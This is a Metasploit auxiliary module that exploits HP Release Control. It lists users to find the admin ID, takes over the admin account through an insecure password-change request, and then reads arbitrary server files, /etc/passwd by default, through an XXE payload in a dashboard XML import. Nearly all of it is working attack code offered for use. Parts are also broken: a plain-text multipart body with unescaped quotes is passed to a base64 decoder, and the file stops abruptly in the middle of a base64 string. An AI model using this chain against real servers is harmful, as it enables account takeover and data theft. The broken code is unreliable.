HP Release Control Authenticated XXE



##

# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Release Control Authenticated XXE',
      'Description'    => %q{
      This module take advantage of three separate vulnerabilities in order to
      read an arbitrary text file from the file system with the privileges
      of the web server. You must be authenticated, but can be unprivileged
      since a privilege escalation vulnerability is used. Tested against
      HP Release Control 9.20.0000, Build 395 installed with demo data.

      The first vulnerability allows an unprivileged authenticated user to list 
      the current users, their IDs, and even their password hashes. Can't login
      with hashes, but the ID is useful in the second vulnerability.

      When a user changes their password, they post the ID of the user who 
      is going to have their password changed. Just replace it with the 
      admin ID and you change the admin password. You are now admin.

      The third vulnerability is an XXE in the dashboard XML import mechanism.
      This is what allows you to read the file from the file system.

      This module is super ghetto half because it was an AMF application,
      half because I worked on it longer than I wanted to.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile [at] gmail.com>'
        ],
      'References'     =>
        [
        ],
      'DisclosureDate' => 'May 16 2014'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base directory path", '/']),
        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
        OptString.new('USERNAME', [true, "The username to authenticate with", "username"]),
        OptString.new('PASSWORD', [true, "The password to authenticate with", "password"])
      ], self.class)
  end

  def check
  end

  def run
    print_status("Authenticating")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    cookie = res.get_cookies

    post = {
      'j_username' => datastore['USERNAME'],
      'j_password' => datastore['PASSWORD'],
      'buttonName' => ''
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'j_spring_security_check'),
      'method' => 'POST',
      'vars_post' => post,
      'cookie' => cookie
    })

    if res and res.headers['Location'] !~ /index.jsp/
      fail_with("Authentication failed")
    end

    cookie = res.get_cookies

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'index.jsp'),
      'cookie' => cookie
    })

    cookie = cookie + res.get_cookies

    #not sure why this always fails the first time. Whatever.
    id = nil
    while id == nil
      id = get_admin_id(cookie)
    end

    print_status("Found admin id: " + id)
    print_status("Changing admin's password...")

    password = change_admin_password(cookie, id)
    print_status("Changed admin password to: " + password)

    post = {
      'j_username' => 'admin',
      'j_password' => password,
      'buttonName' => ''
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    cookie = res.get_cookies

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'j_spring_security_check'),
      'method' => 'POST',
      'vars_post' => post,
      'cookie' => cookie
    })

    if res.headers['Location'] !~ /index.jsp/
      fail_with("Login failed")
    end

    cookie = res.get_cookies

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'index.jsp'),
      'cookie' => cookie
    })

    cookie = cookie + res.get_cookies

    post = {
      'com.mercury.dashboard.screen_resolution_width' => 2560,
      'com.mercury.dashboard.arch.fieldtree.date.timeZone' => 300,
      'com.mercury.dashboard.arch.fieldtree.date.zeroTimeUser' => 1400274351481
    }

    #need to send this so that the next request doesn't fail
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'dashboard', 'app', 'portal', 'PageView.jsp'),
      'method' => 'POST',
      'vars_post' => post,
      'cookie' => cookie
    })

    print_status("Exploiting XXE...")

    data = Rex::Text::decode_base64("-----------------------------14627076671482452060466499926
Content-Disposition: form-data; name="com.mercury.dashboard.arch.fieldtree.formForFieldtree."

Y
-----------------------------14627076671482452060466499926
Content-Disposition: form-data; name=".importFromFile"; filename="Dashboard_Objects_Export_20140514.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<ExportList xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><version>2</version><Module><name>Release Control Default Module</name><uuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</uuid><description>&xxe;</description><enabled>true</enabled><allowSelfService>false</allowSelfService><copiable>true</copiable><allUsersAccess>true</allUsersAccess><page><pageSequence>0</pageSequence><title>Trends</title><portlet><title>Latent Changes Over Time</title><portletDefinitionUuid>3b7bb6aa02977f5c:6940210b:1163bcb394a:-7fdf</portletDefinitionUuid><preferenceValue><name>displayPrefSummary</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>Filter</name><value><sequence>0</sequence><value>[294918][Latent]</value></value></preferenceValue><preferenceValue><name>Group By</name><value><sequence>0</sequence><value>[week][Week]</value></value></preferenceValue><preferenceValue><name>com.mercury.dashboard.app.portal.isWidePortlet</name><value><sequence>0</sequence><value>true</value></value></preferenceValue><layoutColumn>0</layoutColumn><layoutRow>2</layoutRow><layoutWidth>2</layoutWidth><isMinimized>false</isMinimized><isPortletComm>false</isPortletComm></portlet><portlet><title>Abnormal Changes Over Time</title><portletDefinitionUuid>329c812c51783e9e:6a9520f3:11639817da2:-7feb</portletDefinitionUuid><preferenceValue><name>portletEdited</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>displayPrefSummary</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>Filter</name><value><sequence>0</sequence><value>[294912][Any]</value></value></preferenceValue><preferenceValue><name>Group By</name><value><sequence>0</sequence><value>[week][Week]</value></value></preferenceValue><preferenceValue><name>com.mercury.dashboard.app.portal.isWidePortlet</name><value><sequence>0</sequence><value>true</value></value></preferenceValue><layoutColumn>0</layoutColumn><layoutRow>1</layoutRow><layoutWidth>2</layoutWidth><isMinimized>false</isMinimized><isPortletComm>false</isPortletComm></portlet><portlet><title>Changes Over Time</title><portletDefinitionUuid>329c812c51783e9e:6a9520f3:11639817da2:-7fec</portletDefinitionUuid><preferenceValue><name>portletEdited</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>displayPrefSummary</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>Filter</name><value><sequence>0</sequence><value>[294912][Any]</value></value></preferenceValue><preferenceValue><name>Group By</name><value><sequence>0</sequence><value>[week][Week]</value></value></preferenceValue><preferenceValue><name>com.mercury.dashboard.app.portal.isWidePortlet</name><value><sequence>0</sequence><value>true</value></value></preferenceValue><layoutColumn>0</layoutColumn><layoutRow>0</layoutRow><layoutWidth>2</layoutWidth><isMinimized>false</isMinimized><isPortletComm>false</isPortletComm></portlet><autoRefresh>false</autoRefresh><refreshInterval>0</refreshInterval></page><page><pageSequence>1</pageSequence><title>Analysis</title><portlet><title>Application Severity Distribution</title><portletDefinitionUuid>586dc58af49e2f4e:ff9805:10a60813037:-8000</portletDefinitionUuid><preferenceValue><name>displayPrefSummary</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>Request Status</name><value><sequence>0</sequence><value>[PENDING_APPROVAL][Pending
							Approval]</value></value></preferenceValue><preferenceValue><name>User Applications</name><value><sequence>0</sequence><value>[Y][Yes]</value></value></preferenceValue><preferenceValue><name>com.mercury.dashboard.app.portal.isWidePortlet</name><value><sequence>0</sequence><value>true</value></value></preferenceValue><layoutColumn>0</layoutColumn><layoutRow>0</layoutRow><layoutWidth>2</layoutWidth><isMinimized>false</isMinimized><isPortletComm>false</isPortletComm></portlet><portlet><title>Change Request Impact Analysis Ratio</title><portletDefinitionUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffe</portletDefinitionUuid><preferenceValue><name>displayPrefSummary</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>Request Status</name><value><sequence>0</sequence><value>[PENDING_APPROVAL][Pending
							Approval]</value></value></preferenceValue><preferenceValue><name>com.mercury.dashboard.app.portal.isWidePortlet</name><value><sequence>0</sequence><value>true</value></value></preferenceValue><layoutColumn>0</layoutColumn><layoutRow>2</layoutRow><layoutWidth>2</layoutWidth><isMinimized>false</isMinimized><isPortletComm>false</isPortletComm></portlet><portlet><title>Application Status Distribution</title><portletDefinitionUuid>586dc58af49e2f4e:ff9805:10a60813037:-7fff</portletDefinitionUuid><preferenceValue><name>displayPrefSummary</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>User Applications</name><value><sequence>0</sequence><value>[Y][Yes]</value></value></preferenceValue><preferenceValue><name>Time Frame</name><value><sequence>0</sequence><value>[Last Month][Last Month]</value></value></preferenceValue><preferenceValue><name>com.mercury.dashboard.app.portal.isWidePortlet</name><value><sequence>0</sequence><value>true</value></value></preferenceValue><layoutColumn>0</layoutColumn><layoutRow>1</layoutRow><layoutWidth>2</layoutWidth><isMinimized>false</isMinimized><isPortletComm>false</isPortletComm></portlet><autoRefresh>false</autoRefresh><refreshInterval>0</refreshInterval></page><page><pageSequence>2</pageSequence><title>Post Implementation</title><portlet><title>Outcome Over Time</title><portletDefinitionUuid>6a3673c9feb76dcb:-36256166:1172b2915a2:-7ff4</portletDefinitionUuid><preferenceValue><name>portletEdited</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>displayPrefSummary</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>Filter</name><value><sequence>0</sequence><value>[294920][Closed]</value></value></preferenceValue><preferenceValue><name>Group By</name><value><sequence>0</sequence><value>[week][Week]</value></value></preferenceValue><preferenceValue><name>com.mercury.dashboard.app.portal.isWidePortlet</name><value><sequence>0</sequence><value>true</value></value></preferenceValue><layoutColumn>0</layoutColumn><layoutRow>0</layoutRow><layoutWidth>2</layoutWidth><isMinimized>false</isMinimized><isPortletComm>false</isPortletComm></portlet><portlet><title>Outcome Grouped By Risk</title><portletDefinitionUuid>6a3673c9feb76dcb:-519708cc:1172ba579ed:-7ff1</portletDefinitionUuid><preferenceValue><name>portletEdited</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>displayPrefSummary</name><value><sequence>0</sequence><value>Y</value></value></preferenceValue><preferenceValue><name>Filter</name><value><sequence>0</sequence><value>[294920][Closed]</value></value></preferenceValue><preferenceValue><name>Minimun Value</name><value><sequence>0</sequence><value>[0][]</value></value></preferenceValue><preferenceValue><name>Interval</name><value><sequence>0</sequence><value>[10][]</value></value></preferenceValue><preferenceValue><name>Maximum Value</name><value><sequence>0</sequence><value>[100][]</value></value></preferenceValue><preferenceValue><name>Numeric Type</name><value><sequence>0</sequence><value>[calculated-risk][calculated-risk]</value></value></preferenceValue><preferenceValue><name>com.mercury.dashboard.app.portal.isWidePortlet</name><value><sequence>0</sequence><value>true</value></value></preferenceValue><layoutColumn>0</layoutColumn><layoutRow>1</layoutRow><layoutWidth>2</layoutWidth><isMinimized>false</isMinimized><isPortletComm>false</isPortletComm></portlet><autoRefresh>false</autoRefresh><refreshInterval>0</refreshInterval></page></Module><PortletDefinition><BarChartPortletDefinition><ChartPortletDefinition><BuilderPortletDefinition><dataSource><id>CHANGE_IMPACT_ANALYSIS_RATIO</id><name>Change Request Impact Analysis Ratio</name></dataSource><preferenceSummaryShown>true</preferenceSummaryShown><requireEditBeforeFirstView>false</requireEditBeforeFirstView><helpText/><preference><name>Request Status</name><type>dropdown</type><prompt>Request Status</prompt><layoutRow>0</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[PENDING_APPROVAL][Pending
							Approval]</defaultValue><displayOption>requiredEditablePref</displayOption></preference></BuilderPortletDefinition><chartTitle>defwafdsafdsa</chartTitle><colorSource>Status Color</colorSource><tooltipSource># Requests</tooltipSource><tooltipContainsHTML>false</tooltipContainsHTML><orientation>vertical</orientation><hyperlink><hyperlinkType>noHyperlink</hyperlinkType><hyperlinkSource/></hyperlink></ChartPortletDefinition><barNameSource>Status</barNameSource><barAxisLabel>Status</barAxisLabel><valueSource># Requests</valueSource><valueAxisLabel># Requests</valueAxisLabel></BarChartPortletDefinition><type>BarChart</type><name>Change Request Impact Analysis Ratio</name><uuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffe</uuid><description/><timeout>20</timeout><defaultWidth>1</defaultWidth><enabled>true</enabled><exportAsWSRP>true</exportAsWSRP><supportDrillTo>true</supportDrillTo><portletCommSup>false</portletCommSup><builtIn>false</builtIn><dependentUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</dependentUuid></PortletDefinition><PortletDefinition><LineChartPortletDefinition><ChartPortletDefinition><BuilderPortletDefinition><dataSource><id>CHANGE_OVER_TIME_DATA_SOURCE</id><name>Changes Over Time</name></dataSource><preferenceSummaryShown>true</preferenceSummaryShown><requireEditBeforeFirstView>false</requireEditBeforeFirstView><helpText/><preference><name>Filter</name><type>dropdown</type><prompt>Filter:</prompt><layoutRow>0</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>1</layoutWidth><defaultValue/><displayOption>requiredEditablePref</displayOption></preference><preference><name>Group By</name><type>dropdown</type><prompt>Group By:</prompt><layoutRow>0</layoutRow><layoutColumn>1</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[week][Week]</defaultValue><displayOption>requiredEditablePref</displayOption></preference></BuilderPortletDefinition><chartTitle>Changes Over Time</chartTitle><colorSource/><tooltipSource>Count</tooltipSource><tooltipContainsHTML>false</tooltipContainsHTML><orientation/><hyperlink><hyperlinkType>noHyperlink</hyperlinkType><hyperlinkSource/></hyperlink></ChartPortletDefinition><xAxisSource>Planning Start Time</xAxisSource><xAxisLabel>Planning Start Time</xAxisLabel><yAxisSource>Count</yAxisSource><yAxisLabel>Count</yAxisLabel><seriesSource>Line Label</seriesSource><seriesLabel>Changes</seriesLabel></LineChartPortletDefinition><type>LineChart</type><name>Changes Over Time</name><uuid>329c812c51783e9e:6a9520f3:11639817da2:-7fec</uuid><description/><timeout>20</timeout><defaultWidth>1</defaultWidth><enabled>true</enabled><exportAsWSRP>false</exportAsWSRP><supportDrillTo>true</supportDrillTo><portletCommSup>false</portletCommSup><builtIn>false</builtIn><dependentUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</dependentUuid></PortletDefinition><PortletDefinition><MultiBarChartPortletDefinition><ChartPortletDefinition><BuilderPortletDefinition><dataSource><id>APPLICATION_STATUS_DISTRIBUTION</id><name>Business CI Status Distribution</name></dataSource><preferenceSummaryShown>true</preferenceSummaryShown><requireEditBeforeFirstView>false</requireEditBeforeFirstView><helpText/><preference><name>User Applications</name><type>yesNo</type><prompt>Show Only User Applications</prompt><layoutRow>0</layoutRow><layoutColumn>1</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[Y][Yes]</defaultValue><displayOption>editablePref</displayOption></preference><preference><name>Time Frame</name><type>dropdown</type><prompt>Created Within</prompt><layoutRow>0</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[Last Month][Last Month]</defaultValue><displayOption>requiredEditablePref</displayOption></preference></BuilderPortletDefinition><chartTitle>Application Status Distribution</chartTitle><colorSource/><tooltipSource># Requests</tooltipSource><tooltipContainsHTML>false</tooltipContainsHTML><orientation>vertical</orientation><hyperlink><hyperlinkType>noHyperlink</hyperlinkType><hyperlinkSource/></hyperlink></ChartPortletDefinition><barNameSource>Impacted Application</barNameSource><barAxisLabel>Impacted Application</barAxisLabel><valueSource># Requests</valueSource><valueAxisLabel># Requests</valueAxisLabel><seriesSource>Status</seriesSource><seriesLabel>Status</seriesLabel></MultiBarChartPortletDefinition><type>ClusteredBarChart</type><name>Application Status Distribution</name><uuid>586dc58af49e2f4e:ff9805:10a60813037:-7fff</uuid><description/><timeout>20</timeout><defaultWidth>2</defaultWidth><enabled>true</enabled><exportAsWSRP>true</exportAsWSRP><supportDrillTo>true</supportDrillTo><portletCommSup>false</portletCommSup><builtIn>false</builtIn><dependentUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</dependentUuid></PortletDefinition><PortletDefinition><LineChartPortletDefinition><ChartPortletDefinition><BuilderPortletDefinition><dataSource><id>CHANGE_OVER_TIME_DATA_SOURCE</id><name>Changes Over Time</name></dataSource><preferenceSummaryShown>true</preferenceSummaryShown><requireEditBeforeFirstView>false</requireEditBeforeFirstView><helpText/><preference><name>Group By</name><type>dropdown</type><prompt>Group By:</prompt><layoutRow>0</layoutRow><layoutColumn>1</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[week][Week]</defaultValue><displayOption>requiredEditablePref</displayOption></preference><preference><name>Filter</name><type>dropdown</type><prompt>Filter:</prompt><layoutRow>0</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[294918][Latent]</defaultValue><displayOption>requiredEditablePref</displayOption></preference></BuilderPortletDefinition><chartTitle>Latent Changes Over Time</chartTitle><colorSource/><tooltipSource>Count</tooltipSource><tooltipContainsHTML>false</tooltipContainsHTML><orientation/><hyperlink><hyperlinkType>noHyperlink</hyperlinkType><hyperlinkSource/></hyperlink></ChartPortletDefinition><xAxisSource>Planning Start Time</xAxisSource><xAxisLabel>Planning Start Time</xAxisLabel><yAxisSource>Count</yAxisSource><yAxisLabel>Count</yAxisLabel><seriesSource>Line Label</seriesSource><seriesLabel>Latent Changes</seriesLabel></LineChartPortletDefinition><type>LineChart</type><name>Latent Changes Over Time</name><uuid>3b7bb6aa02977f5c:6940210b:1163bcb394a:-7fdf</uuid><description/><timeout>20</timeout><defaultWidth>1</defaultWidth><enabled>true</enabled><exportAsWSRP>false</exportAsWSRP><supportDrillTo>true</supportDrillTo><portletCommSup>false</portletCommSup><builtIn>false</builtIn><dependentUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</dependentUuid></PortletDefinition><PortletDefinition><MultiBarChartPortletDefinition><ChartPortletDefinition><BuilderPortletDefinition><dataSource><id>OUTCOME_GROUPBY_NUMERIC_FIELD_DATA_SOURCE</id><name>Outcome Group by Numeric Field</name></dataSource><preferenceSummaryShown>true</preferenceSummaryShown><requireEditBeforeFirstView>false</requireEditBeforeFirstView><helpText/><preference><name>Maximum Value</name><type>text</type><prompt>Maximum Value:</prompt><layoutRow>3</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>2</layoutWidth><defaultValue>[100][]</defaultValue><displayOption>requiredEditablePref</displayOption></preference><preference><name>Minimun Value</name><type>text</type><prompt>Minimun Value:</prompt><layoutRow>2</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>2</layoutWidth><defaultValue>[0][]</defaultValue><displayOption>requiredEditablePref</displayOption></preference><preference><name>Interval</name><type>text</type><prompt>Interval:</prompt><layoutRow>4</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>2</layoutWidth><defaultValue>[10][]</defaultValue><displayOption>requiredEditablePref</displayOption></preference><preference><name>Filter</name><type>dropdown</type><prompt>Filter:</prompt><layoutRow>0</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>2</layoutWidth><defaultValue/><displayOption>requiredEditablePref</displayOption></preference><preference><name>Numeric Type</name><type>dropdown</type><prompt>Numeric Type:</prompt><layoutRow>1</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>2</layoutWidth><defaultValue>[calculated-risk][calculated-risk]</defaultValue><displayOption>requiredEditablePref</displayOption></preference></BuilderPortletDefinition><chartTitle>Outcome Group By Risk</chartTitle><colorSource>Color</colorSource><tooltipSource>Tooltip</tooltipSource><tooltipContainsHTML>false</tooltipContainsHTML><orientation>vertical</orientation><hyperlink><hyperlinkType>noHyperlink</hyperlinkType><hyperlinkSource/></hyperlink></ChartPortletDefinition><barNameSource>Field</barNameSource><barAxisLabel>Risk</barAxisLabel><valueSource>Percentage</valueSource><valueAxisLabel>Percentage</valueAxisLabel><seriesSource>Outcome</seriesSource><seriesLabel>Outcome</seriesLabel></MultiBarChartPortletDefinition><type>ClusteredBarChart</type><name>Outcome Grouped By Risk</name><uuid>6a3673c9feb76dcb:-519708cc:1172ba579ed:-7ff1</uuid><description/><timeout>20</timeout><defaultWidth>1</defaultWidth><enabled>true</enabled><exportAsWSRP>false</exportAsWSRP><supportDrillTo>true</supportDrillTo><portletCommSup>false</portletCommSup><builtIn>false</builtIn><dependentUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</dependentUuid></PortletDefinition><PortletDefinition><MultiBarChartPortletDefinition><ChartPortletDefinition><BuilderPortletDefinition><dataSource><id>APPLICATION_SEVERITY_DISTRIBUTION</id><name>Business CI Severity Distribution</name></dataSource><preferenceSummaryShown>true</preferenceSummaryShown><requireEditBeforeFirstView>false</requireEditBeforeFirstView><helpText/><preference><name>User Applications</name><type>yesNo</type><prompt>Show Only User Applications</prompt><layoutRow>0</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[Y][Yes]</defaultValue><displayOption>editablePref</displayOption></preference><preference><name>Request Status</name><type>dropdown</type><prompt>Request Status</prompt><layoutRow>0</layoutRow><layoutColumn>1</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[PENDING_APPROVAL][Pending
							Approval]</defaultValue><displayOption>requiredEditablePref</displayOption></preference></BuilderPortletDefinition><chartTitle>Application Severity Distribution</chartTitle><colorSource>Severity Colors</colorSource><tooltipSource># Requests</tooltipSource><tooltipContainsHTML>false</tooltipContainsHTML><orientation>vertical</orientation><hyperlink><hyperlinkType>noHyperlink</hyperlinkType><hyperlinkSource/></hyperlink></ChartPortletDefinition><barNameSource>Impacted Application</barNameSource><barAxisLabel>Impacted Application</barAxisLabel><valueSource># Requests</valueSource><valueAxisLabel># Requests</valueAxisLabel><seriesSource>Severity</seriesSource><seriesLabel>Severity</seriesLabel></MultiBarChartPortletDefinition><type>ClusteredBarChart</type><name>Application Severity Distribution</name><uuid>586dc58af49e2f4e:ff9805:10a60813037:-8000</uuid><description/><timeout>20</timeout><defaultWidth>2</defaultWidth><enabled>true</enabled><exportAsWSRP>true</exportAsWSRP><supportDrillTo>true</supportDrillTo><portletCommSup>false</portletCommSup><builtIn>false</builtIn><dependentUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</dependentUuid></PortletDefinition><PortletDefinition><LineChartPortletDefinition><ChartPortletDefinition><BuilderPortletDefinition><dataSource><id>ABNORMAL_CHANGE_OVER_TIME_DATA_SOURCE</id><name>Abnormal Changes Over Time</name></dataSource><preferenceSummaryShown>true</preferenceSummaryShown><requireEditBeforeFirstView>false</requireEditBeforeFirstView><helpText/><preference><name>Group By</name><type>dropdown</type><prompt>Group By:</prompt><layoutRow>0</layoutRow><layoutColumn>1</layoutColumn><layoutWidth>1</layoutWidth><defaultValue>[week][Week]</defaultValue><displayOption>requiredEditablePref</displayOption></preference><preference><name>Filter</name><type>dropdown</type><prompt>Filter:</prompt><layoutRow>0</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>1</layoutWidth><defaultValue/><displayOption>requiredEditablePref</displayOption></preference></BuilderPortletDefinition><chartTitle>Abnormal Changes Over Time</chartTitle><colorSource/><tooltipSource>Count</tooltipSource><tooltipContainsHTML>false</tooltipContainsHTML><orientation/><hyperlink><hyperlinkType>noHyperlink</hyperlinkType><hyperlinkSource/></hyperlink></ChartPortletDefinition><xAxisSource>Planning Start Time</xAxisSource><xAxisLabel>Planning Start Time</xAxisLabel><yAxisSource>Count</yAxisSource><yAxisLabel>Count</yAxisLabel><seriesSource>Line Label</seriesSource><seriesLabel>Abnormal Changes</seriesLabel></LineChartPortletDefinition><type>LineChart</type><name>Abnormal Changes Over Time</name><uuid>329c812c51783e9e:6a9520f3:11639817da2:-7feb</uuid><description/><timeout>20</timeout><defaultWidth>1</defaultWidth><enabled>true</enabled><exportAsWSRP>false</exportAsWSRP><supportDrillTo>true</supportDrillTo><portletCommSup>false</portletCommSup><builtIn>false</builtIn><dependentUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</dependentUuid></PortletDefinition><PortletDefinition><LineChartPortletDefinition><ChartPortletDefinition><BuilderPortletDefinition><dataSource><id>OUTCOME_OVER_TIME_DATA_SOURCE</id><name>Outcome Over Time</name></dataSource><preferenceSummaryShown>true</preferenceSummaryShown><requireEditBeforeFirstView>false</requireEditBeforeFirstView><helpText/><preference><name>Filter</name><type>dropdown</type><prompt>Filter:</prompt><layoutRow>0</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>2</layoutWidth><defaultValue/><displayOption>requiredEditablePref</displayOption></preference><preference><name>Group By</name><type>dropdown</type><prompt>Group By:</prompt><layoutRow>1</layoutRow><layoutColumn>0</layoutColumn><layoutWidth>2</layoutWidth><defaultValue>[week][Week]</defaultValue><displayOption>requiredEditablePref</displayOption></preference></BuilderPortletDefinition><chartTitle>Outcome Over Time</chartTitle><colorSource>Color</colorSource><tooltipSource>Tooltip</tooltipSource><tooltipContainsHTML>false</tooltipContainsHTML><orientation/><hyperlink><hyperlinkType>noHyperlink</hyperlinkType><hyperlinkSource/></hyperlink></ChartPortletDefinition><xAxisSource>Planning Start Time</xAxisSource><xAxisLabel>Planning Start Time</xAxisLabel><yAxisSource>Percentage</yAxisSource><yAxisLabel>Percentage</yAxisLabel><seriesSource>Outcome</seriesSource><seriesLabel>Outcome</seriesLabel></LineChartPortletDefinition><type>LineChart</type><name>Outcome Over Time</name><uuid>6a3673c9feb76dcb:-36256166:1172b2915a2:-7ff4</uuid><description/><timeout>20</timeout><defaultWidth>1</defaultWidth><enabled>true</enabled><exportAsWSRP>false</exportAsWSRP><supportDrillTo>true</supportDrillTo><portletCommSup>false</portletCommSup><builtIn>false</builtIn><dependentUuid>586dc58af49e2f4e:ff9805:10a60813037:-7ffc</dependentUuid></PortletDefinition></ExportList>

-----------------------------14627076671482452060466499926
Content-Disposition: form-data; name=".replacePortletDefs"

Y
-----------------------------14627076671482452060466499926
Content-Disposition: form-data; name=".replaceModules"

Y
-----------------------------14627076671482452060466499926
Content-Disposition: form-data; name=".trial"


-----------------------------14627076671482452060466499926
Content-Disposition: form-data; name=".renameSuffix"


-----------------------------14627076671482452060466499926--")

    data = data.sub('/etc/passwd', datastore['FILEPATH'])

    res = send_request_cgi({
      'uri' => '/ccm/dashboard/app/migrator/ImportResult.jsp',#normalize_uri(target_uri.path, 'ccm', 'dashboard', 'app', 'migrator', 'ImportResult.jsp?IS_WINDOID=Y'),
      'method' => 'POST',
      'ctype' => 'multipart/form-data; boundary=---------------------------14627076671482452060466499926',
      'cookie' => cookie,
      'data' => data.to_s
    })

    select(nil, nil, nil, 5)
    post = {
      'com.mercury.dashboard.arch.fieldtree.formForFieldtree.' => 'Y',
      '.exportPortletDefsLabel' => '',
      '.exportPortletDefsHidden' => '',
      '.exportModulesLabel' => 'Release Control Default Module',
      '.exportModulesHidden' => '[98304][Release Control Default Module]'
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'dashboard', 'app', 'migrator', 'ExportResult.jsp?ISWINDOID=Y'),
      'method' => 'POST',
      'data' => 'com.mercury.dashboard.arch.fieldtree.formForFieldtree.=Y&.exportPortletDefsLabel=&.exportPortletDefsHidden=&.exportModulesLabel=Release+Control+Default+Module&.exportModulesHidden=%5B98304%5D%5BRelease+Control+Default+Module%5D',
      'cookie' => cookie
    })

    doc = REXML::Document.new res.body

    file = ''
    doc.elements.each('/ExportList/Module/description') do |element|
      file = element.text
    end

    print file
  end

  def change_admin_password(cookie, admin_id)
    req = Rex::Text::decode_base64("AAMAAAAEAARudWxsAAMvMzD/////EQkDAQqBQ09mbGV4Lm1lc3NhZ2luZy5tZXNzYWdlcy5SZW1vdGluZ01lc3NhZ2UTdGltZXN0YW1wD2hlYWRlcnMTb3BlcmF0aW9uCWJvZHkNc291cmNlHXJlbW90ZVBhc3N3b3JkHXJlbW90ZVVzZXJuYW1lFXBhcmFtZXRlcnMTbWVzc2FnZUlkFXRpbWVUb0xpdmURY2xpZW50SWQXZGVzdGluYXRpb24FAAAAAAAAAAAKIwEJRFNJZBVEU0VuZHBvaW50BklERDY4RURERS01NjFBLTMzRTQtNDU1OC04OEU3RkY2RTFDMUUGDW15LWFtZgY9dXBkYXRlVXNlcldvcmtzcGFjZUxhbmRpbmdQYWdlCQMBAwEBAQoHQ2ZsZXgubWVzc2FnaW5nLmlvLkFycmF5Q29sbGVjdGlvbgkDAQMGSURFMDdDODYxLTBBOUUtMTE2MC0xMzkyLUZEOEZBRkQ3REQ3QgUAAAAAAAAAAAZJREQ2RDEzRDUtMjEwQy0yRDA5LTAwQjktQzU0RUU3NTc0NTI2Bhd1c2VyU2VydmljZQAEbnVsbAADLzMx/////xEJAwEKgUNPZmxleC5tZXNzYWdpbmcubWVzc2FnZXMuUmVtb3RpbmdNZXNzYWdlE3RpbWVzdGFtcA9oZWFkZXJzE29wZXJhdGlvbglib2R5DXNvdXJjZR1yZW1vdGVQYXNzd29yZB1yZW1vdGVVc2VybmFtZRVwYXJhbWV0ZXJzE21lc3NhZ2VJZBV0aW1lVG9MaXZlEWNsaWVudElkF2Rlc3RpbmF0aW9uBQAAAAAAAAAACiMBCURTSWQVRFNFbmRwb2ludAZJREQ2OEVEREUtNTYxQS0zM0U0LTQ1NTgtODhFN0ZGNkUxQzFFBg1teS1hbWYGM3VwZGF0ZUdlbmVyYWxVc2VyU2V0dGluZ3MJCwECBgtlbl9VUwYVRXRjL0dNVCsxMgMDAQEBCgdDZmxleC5tZXNzYWdpbmcuaW8uQXJyYXlDb2xsZWN0aW9uCQsBAgYkBiYDAwZJQTlCNUZBRkQtQzA0Ny0zMDcyLThDQUEtRkQ4RkFGRDc2OERCBQAAAAAAAAAABklERDZEMTNENS0yMTBDLTJEMDktMDBCOS1DNTRFRTc1NzQ1MjYGF3VzZXJTZXJ2aWNlAARudWxsAAMvMzL/////EQkDAQqBQ09mbGV4